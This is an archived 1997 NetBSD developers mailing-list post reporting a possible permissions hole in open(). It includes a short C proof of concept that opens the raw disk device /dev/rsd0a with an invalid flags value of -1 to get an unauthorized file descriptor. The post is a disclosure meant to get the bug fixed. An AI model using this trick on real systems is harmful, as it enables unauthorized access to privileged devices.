Date: 17 Oct 1997 10:42:13 -0000 From: explorer@flame.org To: developers@NetBSD.ORG Subject: Possible SERIOUS bug in open()? Message-ID: <19971017104213.11040.qmail@kechara.flame.org>
next in thread | raw e-mail | index | archive | help
This was sent to me recently... It seems to be a pretty serious hole
in open() and permissions...
Note, in the following, open() succeeds, and ioctls are probably
executed...
/*
* This will give you a file descriptor on a device you should not have
* access to. This seems really, really screwed up, since holding a fd
* lets you do a lot of ioctls that you should not be able to do...
*/
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <err.h>
int
main(int argc, char **argv)
{
int fd;
fd = open("/dev/rsd0a", -1, 0);
if (fd < 0)
err(1, "open");
}
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19971017104213.11040.qmail>